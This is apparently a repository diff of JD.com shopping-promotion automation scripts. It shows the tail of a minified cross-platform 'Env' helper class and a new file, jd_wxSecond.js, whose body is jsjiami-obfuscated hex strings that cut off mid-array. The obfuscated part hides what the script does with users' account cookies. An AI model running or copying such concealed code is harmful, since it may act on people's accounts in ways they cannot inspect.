"undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wxSecond.js b/jd_wxSecond.js new file mode 100644 index 0000000..2c35e61 --- /dev/null +++ b/jd_wxSecond.js @@ -0,0 +1,13 @@ +/* +活动名称:读秒拼手速 +活动链接:https://lzkjdz-isv.isvjd.com/wxSecond/activity/entry.html?activityId=<活动id> +环境变量:jd_wxSecond_activityId // 活动id + +默认助力第一个号,脚本自动入会,不想入会勿跑! +7 7 7 7 7 jd_wxSecond.js +*/ + +var _0xodU='jsjiami.com.v6',_0xodU_=['‮_0xodU'],_0x2af6=[_0xodU,'\x35\x72\x57\x65\x35\x59\x71\x6f\x35\x61\x65\x48\x35\x34\x47\x77\x35\x34\x69\x5a\x37\x37\x2b\x77\x36\x4b\x2b\x38\x35\x36\x75\x50\x35\x5a\x43\x76\x35\x59\x61\x70\x36\x4b\x79\x5a','\x65\x7a\x34\x65\x4d\x43\x6b\x76\x4c\x73\x4f\x53\x41\x63\x4f\x68\x55\x6e\x4c\x44\x69\x45\x59\x3d','\x56\x63\x4f\x59\x61\x41\x48\x44\x6b\x43\x5a\x59\x77\x70\x48\x43\x6d\x38\x4f\x79\x77\x71\x76\x43\x72\x4d\x4b\x36\x77\x34\x55\x3d','\x48\x7a\x44\x43\x6c\x63\x4f\x6d\x77\x6f\x73\x3d','\x59\x63\x4b\x6a\x62\x63\x4b\x4f\x77\x35\x55\x3d','\x52\x48\x49\x36','\x46\x56\x45\x6f\x77\x6f\x67\x44\x77\x72\x6b\x71\x46\x38\x4b\x4e\x50\x63\x4b\x73\x54\x4d\x4f\x6c\x77\x6f\x70\x52\x66\x4d\x4b\x65\x62\x41\x64\x2b\x77\x35\x62\x43\x76\x6a\x33\x43\x71\x4d\x4f\x50\x77\x72\x51\x65\x77\x37\x35\x34\x61\x73\x4f\x57\x77\x70\x42\x58\x77\x34\x33\x44\x6b\x67\x3d\x3d','\x57\x4d\x4b\x42\x64\x44\x37\x43\x69\x63\x4f\x31\x42\x54\x34\x65\x62\x63\x4f\x4a\x77\x70\x7a\x43\x69\x33\x64\x74\x77\x71\x74\x6e\x4c\x4d\x4b\x43\x77\x72\x34\x37\x77\x71\x77\x77\x41\x6c\x45\x6c\x41\x38\x4f\x50','\x56\x67\x63\x31\x43\x69\x37\x43\x72\x51\x30\x79\x66\x63\x4b\x2b\x77\x36\x56\x41\x65\x73\x4f\x6f\x44\x63\x4f\x55\x77\x36\x62\x43\x76\x56\x66\x43\x6f\x41\x62\x44\x72\x58\x67\x4c\x4b\x63\x4b\x7a\x77\x35\x48\x43\x75\x51\x52\x4b\x77\x35\x72\x43\x6c\x4d\x4b\x4d\x64\x38\x4f\x35\x77\x37\x50\x44\x6f\x44\x35\x47\x43\x67\x64\x66\x5a\x73\x4f\x4a\x4b\x63\x4b\x64\x4c\x38\x4b\x6a\x77\x36\x44\x43\x6d\x38\x4f\x76\x65\x78\x7a\x44\x70\x44\x30\x65\x77\x37\x6e\x44\x75\x63\x4f\x35\x4b\x63\x4f\x78\x4b\x32\x6b\x30\x77\x72\x6f\x48\x4b\x4d\x4f\x2f\x50\x38\x4b\x45\x61\x73\x4b\x79\x77\x35\x48\x43\x70\x4d\x4f\x34\x77\x72\x76\x44\x75\x33\x6a\x44\x73\x6d\x66\x43\x70\x63\x4f\x58\x77\x70\x66\x43\x72\x38\x4f\x41\x77\x70\x4e\x61\x77\x35\x49\x50\x4b\x79\x50\x44\x67\x4d\x4b\x4b\x77\x34\x42\x7a\x4d\x73\x4b\x4e\x47\x32\x50\x43\x70\x4d\x4b\x2b\x77\x72\x37\x44\x71\x63\x4f\x31\x77\x6f\x66\x44\x68\x73\x4b\x41\x53\x51\x55\x79\x77\x34\x66\x43\x70\x38\x4f\x50\x55\x4d\x4b\x42\x77\x72\x6c\x76\x64\x38\x4b\x57\x77\x37\x6b\x3d','\x47\x56\x50\x43\x72\x48\x39\x4a\x77\x37\x31\x52\x77\x70\x56\x54\x77\x71\x6b\x47\x77\x71\x30\x3d','\x47\x73\x4b\x42\x77\x72\x5a\x70\x77\x37\x55\x3d','\x41\x48\x4c\x43\x6e\x33\x52\x74\x77\x72\x5a\x6b\x77\x71\x74\x50\x64\x38\x4b\x6b\x4d\x38\x4b\x42','\x77\x37\x5a\x67\x44\x30\x56\x71','\x77\x70\x30\x31\x56\x68\x45\x6a\x77\x34\x72\x43\x71\x38\x4b\x74\x77\x34\x78\x70\x77\x6f\x33\x43\x70\x63\x4b\x42\x47\x41\x3d\x3d','\x61\x4d\x4f\x43\x77\x36\x34\x43\x4e\x4d\x4b\x78\x48\x77\x55\x65\x63\x6d\x6f\x63\x77\x71\x38\x62','\x77\x34\x54\x44\x6b\x73\x4f\x31\x62\x48\x54\x43\x71\x32\x4a\x68\x41\x38\x4b\x30\x77\x36\x7a\x43\x73\x53\x62\x44\x6b\x77\x3d\x3d','\x63\x63\x4b\x44\x4e\x63\x4f\x62\x77\x35\x5a\x4f\x77\x70\x62\x43\x71\x69\x70\x58\x59\x63\x4f\x4b\x77\x35\x6b\x3d','\x47\x63\x4f\x35\x41\x6b\x6e\x43\x71\x63\x4f\x71\x52\x56\x58\x43\x6a\x32\x2f\x43\x68\x38\x4f\x46','\x4d\x48\x6b\x4e\x53\x43\x48\x43\x6a\x4d\x4b\x74\x47\x63\x4f\x42\x4a\x73\x4b\x6c\x77\x6f\x63\x3d','\x56\x4d\x4f\x35\x77\x35\x30\x53\x77\x72\x78\x48\x77\x35\x30\x4c\x77\x72\x45\x42\x4f\x42\x45\x3d','\x77\x70\x54\x43\x72\x38\x4f\x32\x55\x63\x4b\x44\x77\x72\x37\x43\x6a\x51\x62\x44\x67\x69\x48\x44\x76\x6d\x77\x37\x48\x57\x6b\x34\x77\x34\x4e\x6c\x4f\x45\x7a\x44\x6c\x32\x73\x37\x4f\x51\x7a\x44\x72\x69\x4e\x71\x58\x51\x67\x64\x77\x6f\x44\x44\x6c\x78\x7a\x44\x6a\x7a\x46\x55\x77\x36\x72\x44\x72\x6e\x30\x41\x4e\x4d\x4f\x67\x77\x72\x48\x44\x75\x47\x70\x35\x77\x72\x44\x44\x6e\x63\x4b\x4e\x77\x71\x54\x44\x6e\x6d\x33\x44\x71\x38\x4b\x36\x77\x71\x50\x44\x71\x63\x4f\x51\x77\x72\x64\x59\x77\x6f\x58\x44\x71\x73\x4b\x46\x77\x37\x37\x44\x68\x41\x3d\x3d','\x51\x78\x74\x6d\x77\x71\x4d\x73\x77\x37\x73\x2b\x47\x73\x4f\x61\x62\x73\x4b\x72\x53\x4d\x4f\x37\x77\x6f\x55\x41','\x41\x45\x62\x43\x6b\x6b\x6c\x30','\x62\x54\x35\x72\x63\x73\x4f\x4f','\x66\x38\x4f\x46\x66\x6a\x44\x43\x76\x41\x3d\x3d','\x41\x38\x4f\x33\x47\x56\x54\x43\x6d\x67\x3d\x3d','\x50\x32\x76\x43\x6d\x6d\x4a\x6e','\x47\x79\x68\x68\x77\x35\x55\x73','\x42\x38\x4f\x4d\x65\x56\x4e\x65\x77\x36\x5a\x4b\x77\x34\x41\x6c\x77\x70\x74\x77\x77\x37\x54\x43\x76\x38\x4f\x74\x77\x71\x2f\x44\x68\x54\x42\x6e\x77\x6f\x2f\x44\x76\x4d\x4b\x67\x41\x4d\x4b\x41\x77\x71\x72\x44\x69\x31\x55\x61\x41\x54\x64\x6c\x48\x63\x4f\x71\x77\x70\x4c\x43\x6b\x32\x48\x43\x6b\x63\x4f\x79\x66\x41\x39\x6c\x77\x72\x6e\x44\x74\x4d\x4b\x30\x56\x57\x73\x41\x77\x71\x58\x43\x6a\x38\x4f\x66\x46\x63\x4f\x32\x4e\x54\x70\x69\x77\x37\x5a\x6a\x44\x52\x4e\x64\x77\x70\x41\x65\x4b\x79\x38\x50\x53\x69\x72\x43\x70\x6e\x44\x44\x6a\x38\x4f\x62\x77\x72\x76\x44\x6f\x79\x5a\x4c\x77\x6f\x42\x43\x77\x72\x44\x43\x69\x43\x4e\x5a\x77\x37\x6c\x52\x55\x38\x4f\x43\x77\x71\x42\x66\x77\x36\x6b\x3d','\x77\x34\x78\x73\x4a\x32\x33\x43\x6d\x56\x64\x70\x77\x37\x72\x43\x73\x38\x4f\x51\x77\x72\x59\x76\x77\x34\x6c\x67\x58\x6b\x4d\x61\x77\x36\x72\x43\x68\x38\x4b\x34\x59\x38\x4f\x72\x77\x35\x72\x44\x6b\x38\x4f\x71\x77\x35\x68\x7a\x77\x36\x39\x63\x63\x38\x4b\x30\x4e\x73\x4b\x6c\x4d\x63\x4b\x63\x5a\x63\x4b\x68\x77\x72\x50\x44\x71\x73\x4b\x4e\x59\x78\x37\x43\x6a\x63\x4f\x73\x77\x71\x48\x44\x68\x6d\x4d\x3d','\x44\x38\x4b\x53\x52\x73\x4b\x74\x77\x35\x6f\x3d','\x50\x63\x4b\x6c\x55\x63\x4b\x43\x43\x41\x3d\x3d','\x4d\x63\x4b\x73\x77\x36\x50\x43\x71\x46\x55\x3d','\x5a\x73\x4b\x6e\x64\x52\x2f\x43\x6d\x41\x3d\x3d','\x53\x6b\x38\x42\x77\x72\x72\x43\x74\x41\x3d\x3d','\x48\x73\x4b\x4e\x77\x36\x64\x73\x63\x77\x3d\x3d','\x55\x4d\x4f\x55\x63\x67\x3d\x3d','\x4d\x6d\x62\x43\x67\x45\x74\x48','\x53\x54\x67\x47\x49\x41\x55\x3d','\x77\x35\x66\x44\x6d\x38\x4b\x77\x64\x73\x4b\x79','\x57\x68\x4a\x65\x56\x41\x6f\x3d','\x77\x35\x33\x44\x69\x4d\x4b\x57\x51\x63\x4b\x6d','\x77\x34\x7a\x44\x72\x38\x4b\x37\x61\x38\x4b\x75','\x52\x63\x4b\x6f\x77\x35\x6f\x70\x77\x71\x30\x3d','\x49\x63\x4b\x74\x59\x4d\x4b\x4b\x77\x35\x49\x3d','\x52\x58\x2f\x44\x72\x63\x4b\x53\x77\x37\x34\x3d','\x43\x6d\x33\x43\x6c\x48\x4e\x4f','\x63\x73\x4f\x6e\x53\x69\x44\x44\x6b\x51\x3d\x3d','\x77\x70\x77\x58\x63\x69\x73\x36','\x56\x46\x54\x44\x72\x4d\x4b\x43\x77\x34\x4d\x3d','\x77\x35\x78\x51\x41\x55\x46\x72','\x4d\x38\x4b\x6c\x77\x35\x50\x43\x73\x6d\x6b\x3d','\x77\x34\x70\x42\x4d\x38\x4b\x2f\x77\x72\x6b\x3d','\x77\x34\x74\x58\x45\x42\x42\x61','\x62\x38\x4f\x71\x4e\x73\x4f\x6f\x77\x35\x73\x3d','\x48\x77\x64\x65\x77\x35\x4d\x4d','\x64\x42\x46\x6e\x58\x52\x73\x3d','\x54\x41\x6f\x4f\x45\x6a\x59\x3d','\x54\x73\x4f\x6a\x77\x35\x34\x70\x77\x71\x34\x3d','\x50\x63\x4b\x30\x77\x35\x35\x39\x54\x67\x3d\x3d','\x77\x37\x59\x67\x59\x41\x62\x43\x6a\x77\x3d\x3d','\x77\x34\x49\x72\x77\x70\x59\x74\x77\x71\x55\x3d','\x53\x63\x4b\x58\x77\x35\x30\x46\x77\x71\x49\x63\x66\x51\x3d\x3d','\x77\x72\x44\x44\x6f\x4d\x4b\x6a\x45\x46\x73\x3d','\x58\x67\x55\x34\x4d\x6a\x4d\x3d','\x77\x34\x66\x44\x69\x67\x62\x44\x67\x38\x4b\x79\x61\x73\x4b\x47\x57\x6a\x77\x75\x51\x52\x45\x69\x52\x68\x56\x38\x4e\x63\x4f\x62\x77\x35\x48\x43\x6e\x4d\x4f\x34\x65\x73\x4f\x66\x56\x38\x4f\x5a\x77\x71\x38\x34\x77\x70\x38\x57\x77\x35\x54\x43\x71\x44\x70\x32\x77\x6f\x44\x43\x6c\x4d\x4b\x4b\x64\x63\x4b\x58\x44\x44\x66\x44\x74\x69\x6b\x33\x44\x63\x4b\x54\x77\x36\x76\x44\x68\x63\x4f\x49\x77\x72\x62\x44\x76\x6a\x67\x36\x55\x63\x4b\x47\x77\x72\x37\x44\x6f\x57\x4a\x43\x4c\x4d\x4b\x73\x77\x72\x78\x71','\x66\x73\x4f\x6a\x4e\x73\x4b\x4b\x77\x34\x67\x48\x64\x32\x35\x75\x47\x77\x3d\x3d','\x77\x72\x41\x66\x77\x72\x49\x56\x77\x71\x35\x67\x4f\x6e\x5a\x37\x77\x71\x39\x45','\x54\x63\x4f\x2b\x77\x35\x55\x4f\x77\x6f\x39\x33\x77\x34\x59\x47\x77\x72\x41\x3d','\x41\x55\x54\x43\x71\x56\x68\x62','\x77\x37\x59\x42\x42\x55\x33\x44\x74\x41\x3d\x3d','\x77\x6f\x4c\x44\x68\x4d\x4f\x6f','\x4f\x73\x4f\x2f\x77\x72\x33\x43\x72\x52\x41\x3d','\x77\x70\x4c\x43\x72\x63\x4b\x6b\x77\x36\x54\x44\x6e\x67\x3d\x3d','\x4c\x4d\x4f\x50\x77\x72\x54\x43\x69\x77\x30\x3d','\x41\x7a\x78\x6b\x77\x37\x30\x46','\x59\x4d\x4f\x65\x52\x68\x54\x43\x6e\x77\x3d\x3d','\x77\x71\x62\x44\x67\x73\x4f\x4a\x4f\x63\x4b\x6d','\x56\x63\x4f\x31\x56\x6a\x7a\x43\x75\x51\x3d\x3d','\x59\x6a\x78\x2b\x55\x41\x6f\x3d','\x77\x70\x78\x47\x4b\x45\x37\x43\x6b\x51\x3d\x3d','\x77\x71\x39\x4e\x43\x38\x4f\x73\x47\x63\x4f\x72\x77\x36\x30\x3d','\x77\x72\x7a\x44\x76\x4d\x4f\x58\x41\x63\x4b\x4e','\x77\x34\x5a\x6b\x45\x4d\x4b\x68\x77\x71\x55\x3d','\x55\x38\x4b\x43\x52\x52\x62\x43\x6c\x77\x3d\x3d','\x77\x71\x62\x44\x6b\x6c\x68\x53\x77\x35\x45\x6a\x77\x6f\x4d\x3d','\x55\x73\x4f\x44\x64\x41\x72\x44\x74\x51\x56\x44\x77\x70\x44\x43\x6f\x38\x4f\x45\x77\x71\x33\x43\x70\x38\x4b\x76','\x66\x44\x38\x79\x4d\x43\x41\x6e\x4f\x77\x3d\x3d','\x77\x70\x68\x71\x4f\x48\x48\x43\x6b\x45\x30\x3d','\x77\x72\x58\x44\x68\x4d\x4f\x67\x4c\x38\x4b\x46\x4a\x4d\x4b\x61\x77\x72\x67\x3d','\x56\x48\x76\x44\x6c\x4d\x4b\x39\x77\x35\x66\x43\x6c\x77\x3d\x3d','\x43\x46\x42\x6a\x77\x72\x38\x45\x77\x37\x73\x32\x45\x41\x3d\x3d','\x77\x37\x52\x2b\x43\x45\x52\x76\x61\x41\x56\x6f','\x35\x59\x53\x57\x35\x4c\x2b\x73\x36\x49\x36\x46\x35\x62\x32\x51\x65\x4d\x4b\x78','\x77\x35\x4d\x5a\x4a\x32\x76\x44\x69\x6c\x70\x6e\x51\x38\x4b\x6f\x77\x36\x54\x43\x70\x63\x4f\x45\x77\x36\x33\x43\x6e\x51\x3d\x3d','\x77\x70\x70\x39\x49\x6e\x37\x43\x6d\x58\x64\x38\x77\x34\x48\x43\x73\x77\x3d\x3d','\x43\x73\x4f\x63\x77\x70\x62\x43\x71\x42\x4d\x4b\x4b\x51\x66\x43\x67\x48\x38\x2f\x4d\x57\x33\x44\x6b\x41\x3d\x3d','\x77\x37\x41\x41\x41\x6e\x6e\x44\x69\x51\x3d\x3d','\x77\x72\x6a\x43\x6a\x38\x4b\x7a\x77\x72\x5a\x37','\x42\x4d\x4b\x72\x77\x35\x66\x43\x75\x48\x44\x44\x6a\x4d\x4b\x37','\x77\x37\x4d\x65\x77\x71\x67\x62\x77\x71\x35\x50\x41\x47\x70\x38\x77\x70\x67\x52\x49\x38\x4f\x4f','\x4a\x63\x4b\x4d\x77\x70\x42\x66\x77\x34\x45\x6c\x77\x37\x30\x3d','\x77\x36\x64\x63\x4a\x4d\x4b\x4c\x77\x71\x55\x3d','\x77\x34\x35\x37\x4d\x73\x4b\x39\x77\x6f\x6f\x3d','\x77\x70\x74\x37\x48\x6d\x62\x43\x70\x41\x3d\x3d','\x61\x4d\x4f\x4a\x77\x35\x30\x53\x77\x6f\x41\x3d','\x77\x35\x6a\x44\x68\x63\x4b\x5a\x56\x4d\x4b\x66','\x44\x4d\x4f\x31\x77\x70\x62\x43\x67\x44\x77\x3d','\x77\x72\x59\x50\x41\x30\x50\x44\x6e\x51\x3d\x3d','\x77\x71\x54\x44\x71\x63\x4f\x2b\x50\x63\x4b\x66','\x77\x6f\x49\x79\x58\x69\x51\x77\x77\x35\x73\x3d','\x64\x4d\x4b\x67\x77\x35\x38\x79\x77\x70\x45\x3d','\x77\x35\x7a\x44\x69\x44\x66\x44\x67\x63\x4b\x69','\x35\x71\x79\x6f\x51\x38\x4b\x45\x35\x62\x61\x78\x36\x4b\x4b\x2b\x36\x5a\x71\x49\x35\x59\x71\x45\x37\x37\x79\x53\x36\x4b\x32\x6e\x36\x4c\x32\x57\x77\x6f\x55\x50\x35\x59\x71\x54\x36\x5a\x4f\x6c\x35\x5a\x43\x63\x35\x59\x61\x46\x35\x6f\x71\x37\x36\x4b\x43\x46\x36\x49\x61\x67\x35\x70\x32\x70\x42\x41\x3d\x3d','\x77\x37\x6b\x4f\x77\x72\x41\x52\x77\x72\x39\x78','\x4c\x73\x4b\x35\x77\x35\x37\x43\x72\x47\x51\x3d','\x43\x38\x4b\x6e\x65\x63\x4b\x6c\x77\x34\x49\x3d','\x77\x34\x51\x58\x4a\x6e\x72\x44\x73\x51\x3d\x3d','\x53\x52\x45\x72\x4e\x44\x73\x3d','\x65\x44\x46\x77\x53\x43\x48\x43\x6a\x4d\x4b\x74\x44\x38\x4f\x49\x59\x63\x4f\x79\x77\x34\x64\x50\x77\x34\x59\x3d','\x77\x72\x58\x44\x69\x4d\x4f\x79\x43\x4d\x4b\x6b\x4a\x63\x4b\x4d\x77\x70\x67\x4a\x53\x63\x4b\x36\x43\x77\x62\x43\x71\x7a\x42\x4d\x77\x6f\x46\x46\x77\x72\x73\x3d','\x4c\x58\x49\x66\x77\x72\x48\x44\x68\x67\x3d\x3d','\x43\x7a\x73\x6e\x77\x71\x63\x4d','\x77\x70\x7a\x43\x72\x4d\x4f\x2b','\x65\x4d\x4f\x36\x4b\x38\x4b\x54\x77\x70\x4a\x4f\x5a\x33\x4a\x42\x45\x31\x37\x44\x6d\x4d\x4b\x53\x77\x35\x50\x43\x6b\x42\x44\x43\x6b\x51\x3d\x3d','\x4c\x4d\x4b\x66\x77\x72\x72\x43\x6c\x55\x7a\x43\x6c\x4d\x4b\x2f\x5a\x6d\x44\x44\x6f\x6b\x7a\x44\x6e\x79\x4a\x6b\x77\x71\x78\x6f\x44\x38\x4f\x67\x58\x42\x50\x44\x6c\x38\x4f\x45\x41\x45\x31\x79\x51\x47\x33\x43\x69\x44\x74\x32\x77\x37\x70\x34\x77\x34\x49\x63\x43\x77\x3d\x3d','\x54\x6d\x72\x44\x6b\x38\x4b\x34\x77\x34\x6a\x44\x6d\x55\x50\x43\x6e\x38\x4f\x49\x77\x35\x33\x44\x69\x67\x7a\x43\x74\x44\x68\x68\x43\x4d\x4f\x4e\x77\x34\x6a\x43\x71\x32\x46\x37\x50\x6a\x72\x43\x6c\x63\x4f\x2b\x4e\x68\x63\x38','\x77\x34\x2f\x43\x6b\x55\x31\x6a\x57\x41\x51\x49\x77\x37\x50\x44\x72\x45\x52\x58\x57\x38\x4b\x6e\x77\x34\x64\x78\x45\x4d\x4f\x66\x43\x54\x63\x68\x61\x73\x4f\x39\x77\x6f\x48\x43\x6d\x38\x4b\x49\x77\x71\x6c\x44\x77\x6f\x30\x6c\x77\x71\x63\x56\x77\x34\x6e\x44\x68\x31\x64\x6a\x77\x71\x6c\x4b\x62\x73\x4b\x67\x77\x70\x66\x43\x72\x4d\x4f\x44\x77\x36\x4e\x42\x4b\x63\x4f\x6d\x77\x36\x50\x44\x68\x6d\x39\x45\x50\x73\x4b\x63\x51\x43\x76\x43\x6c\x63\x4b\x67\x53\x38\x4b\x35\x77\x6f\x66\x43\x68\x63\x4b\x32\x56\x54\x6e\x44\x6d\x4d\x4b\x58\x77\x6f\x33\x43\x72\x63\x4b\x73\x45\x58\x58\x44\x6c\x58\x44\x43\x6d\x73\x4b\x39\x61\x63\x4f\x33\x59\x4d\x4b\x2b\x77\x70\x4a\x72\x63\x69\x64\x72\x77\x6f\x52\x6e\x56\x69\x42\x57\x4c\x45\x64\x45\x4a\x45\x48\x43\x6a\x79\x39\x37\x59\x48\x5a\x5a\x45\x63\x4f\x32\x4a\x55\x76\x44\x73\x4d\x4b\x76\x77\x6f\x5a\x58\x5a\x30\x50\x43\x70\x45\x33\x43\x76\x63\x4b\x65\x44\x56\x7a\x43\x73\x57\x44\x44\x6e\x6a\x6c\x31','\x77\x35\x55\x2b\x45\x79\x4e\x58\x77\x70\x4c\x43\x71\x4d\x4f\x73\x47\x68\x7a\x43\x67\x4d\x4f\x77\x54\x41\x3d\x3d','\x77\x6f\x77\x77\x52\x79\x56\x52\x77\x70\x66\x43\x6f\x38\x4f\x77\x4e\x68\x54\x43\x67\x4d\x4f\x77\x57\x73\x4f\x43\x51\x38\x4b\x42\x51\x63\x4f\x56\x77\x6f\x76\x43\x68\x38\x4f\x52\x77\x36\x30\x36\x4e\x33\x44\x43\x76\x67\x74\x6b\x42\x45\x4d\x49\x77\x37\x6b\x45','\x77\x34\x56\x5a\x41\x33\x39\x47','\x45\x63\x4f\x31\x44\x6e\x54\x43\x74\x51\x3d\x3d','\x49\x63\x4b\x75\x66\x63\x4b\x6d\x4a\x41\x3d\x3d','\x41\x38\x4b\x58\x51\x4d\x4b\x30\x4a\x77\x3d\x3d','\x4b\x4d\x4b\x59\x61\x73\x4b\x42\x77\x35\x59\x3d','\x55\x63\x4f\x50\x77\x37\x77\x57\x77\x70\x49\x3d','\x44\x58\x54\x43\x6d\x57\x74\x73\x77\x34\x